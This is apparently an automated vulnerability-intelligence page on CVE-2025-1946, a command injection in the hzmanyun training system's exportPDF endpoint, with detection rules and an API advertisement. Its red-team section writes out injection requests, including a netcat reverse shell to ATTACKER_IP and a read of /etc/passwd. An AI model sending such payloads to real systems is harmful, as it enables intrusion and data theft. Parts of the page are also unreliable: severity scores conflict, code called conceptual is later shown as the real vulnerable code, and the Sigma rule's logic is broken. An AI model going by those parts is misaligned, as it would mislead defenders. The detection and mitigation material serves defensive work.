☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-1946

CVE-2025-1946 Command Injection in Hzmanyun
📅 PUBLISHED: 2025-03-04 18:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 5.15%
👁️
5.15% probability
128.7× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-1946 is a critical command injection vulnerability discovered in the hzmanyun Education and Training System version 2.1. The flaw resides in the /user/exportPDF endpoint, where the id parameter is improperly sanitized before being passed to a system command. An unauthenticated remote attacker can inject arbitrary operating system commands, leading to full server compromise, data exfiltration, or lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is currently available, making immediate mitigation essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a standalone PHP-based web application (hzmanyun Education and Training System). However, organizations using this software should treat it as a critical supply chain risk and consider isolating or decommissioning the system until a patch is released.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, the vulnerability is rated as critical based on the following analysis:

  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – no authentication needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – the vulnerable component is the only affected component.
  • Confidentiality (C): High (H) – full file read and data exfiltration possible.
  • Integrity (I): High (H) – arbitrary command execution allows file modification.
  • Availability (A): High (H) – commands can disrupt services.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – immediate action required.

Deep Dive & Mechanics

The vulnerability exists in the exportPDF function within /user/exportPDF. The application likely uses a system call (e.g., exec(), system(), or shell_exec()) to generate a PDF file, passing the user-supplied id parameter directly into the command string without sanitization or escaping.

Example vulnerable PHP code (conceptual):

$id = $_GET['id'];
$command = "wkhtmltopdf http://example.com/report?id=$id output.pdf";
system($command);

An attacker can inject additional commands by appending shell metacharacters such as ;, |, &&, or backticks. For example:

GET /user/exportPDF?id=1;id

This would execute the id command after the intended PDF generation, revealing the current user context.

The attack is unauthenticated and requires no special privileges, making it highly dangerous for exposed instances.

Vulnerable vs. Patched Code

Vulnerable Code (hzmanyun 2.1):

// /user/exportPDF
$id = $_GET['id'];
$cmd = "wkhtmltopdf --footer-center 'Page [page]' http://localhost/report?id=$id /tmp/report.pdf";
exec($cmd, $output, $return_var);

Patched Code (hypothetical):

// /user/exportPDF
$id = escapeshellarg($_GET['id']);
$cmd = "wkhtmltopdf --footer-center 'Page [page]' http://localhost/report?id=$id /tmp/report.pdf";
exec($cmd, $output, $return_var);

The patch uses escapeshellarg() to safely quote the id parameter, preventing command injection. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target running hzmanyun Education and Training System 2.1.
  • Network access to the /user/exportPDF endpoint.

Exploit Steps:

  1. Identify the vulnerable endpoint:
    GET /user/exportPDF?id=1
    
  2. Test for command injection using a benign command:
    GET /user/exportPDF?id=1;echo%20INJECTED
    
    If the response contains "INJECTED", the vulnerability is confirmed.
  3. Execute a reverse shell (example using netcat):
    GET /user/exportPDF?id=1;nc%20ATTACKER_IP%204444%20-e%20/bin/bash
    
  4. Alternatively, exfiltrate sensitive files:
    GET /user/exportPDF?id=1;cat%20/etc/passwd
    

Lab Setup:

  • Use Docker to run a vulnerable instance:
    FROM php:7.4-apache
    COPY hzmanyun-2.1 /var/www/html
    RUN docker-php-ext-install mysqli
    EXPOSE 80
    
  • Deploy and test locally.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for unusual characters in the id parameter (e.g., ;, |, &, backticks).
  • Deploy WAF rules to block shell metacharacters in query strings.
  • Use the Sigma and Suricata rules provided in the Detection Engineering section.

Hunting:

  • Search for processes spawned by the web server user (e.g., www-data) that are unusual (e.g., nc, bash, curl).
  • Check for outbound connections from the web server to unknown IPs on high ports.

Containment:

  • Immediately isolate the affected server from the network.
  • If possible, disable the /user/exportPDF endpoint by removing or renaming the file.
  • Apply input validation and escaping as shown in the patched code example.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /user/exportPDF containing shell metacharacters (;, |, &&, `).
  • Outbound connections from the web server to suspicious IPs on ports 4444, 1337, or other non-standard ports.

File IOCs:

  • Unexpected files in /tmp/ or /var/www/html/ (e.g., report.pdf with unusual content).
  • Modified system binaries or scripts.

Process IOCs:

  • Processes named nc, bash, python, perl spawned by the web server user.
  • High CPU usage from command execution.

Log IOCs:

  • Apache/Nginx access logs with entries like:
    GET /user/exportPDF?id=1;id HTTP/1.1
    
  • System logs showing command execution by the web server user.

Detection Engineering

YARA Rule

rule CVE_2025_1946_Command_Injection {
    meta:
        description = "Detects command injection attempts against hzmanyun Education and Training System CVE-2025-1946"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1946"
    strings:
        $s1 = "/user/exportPDF" ascii wide nocase
        $s2 = "id=" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "|" ascii wide
        $s5 = "&" ascii wide
        $s6 = "`" ascii wide
    condition:
        $s1 and $s2 and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-1946 Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting /user/exportPDF with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/user/exportPDF'
            - 'id='
        cs-uri-query|contains|all:
            - ';'
            - '|'
            - '&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1946 Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/user/exportPDF"; http_uri; content:"id="; http_uri; pcre:"/(;|\||&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint: Remove or rename /user/exportPDF file.
  2. Apply input validation: Use escapeshellarg() or escapeshellcmd() on the id parameter.
  3. Restrict web server permissions: Run the web server with minimal privileges (e.g., www-data user) and disable dangerous PHP functions (exec, system, shell_exec, passthru) in php.ini.
  4. Deploy WAF rules: Block requests containing shell metacharacters in query strings.

Long-term Fix:

  • Await an official patch from hzmanyun. If none is provided, consider migrating to an alternative system.
  • Implement a secure coding policy that avoids passing user input directly to system commands.

Detection:

  • Deploy the YARA, Sigma, and Suricata rules provided above.
  • Monitor logs for exploitation attempts.

Valters IT – Securing digital frontiers with intelligence and precision.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-1946/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.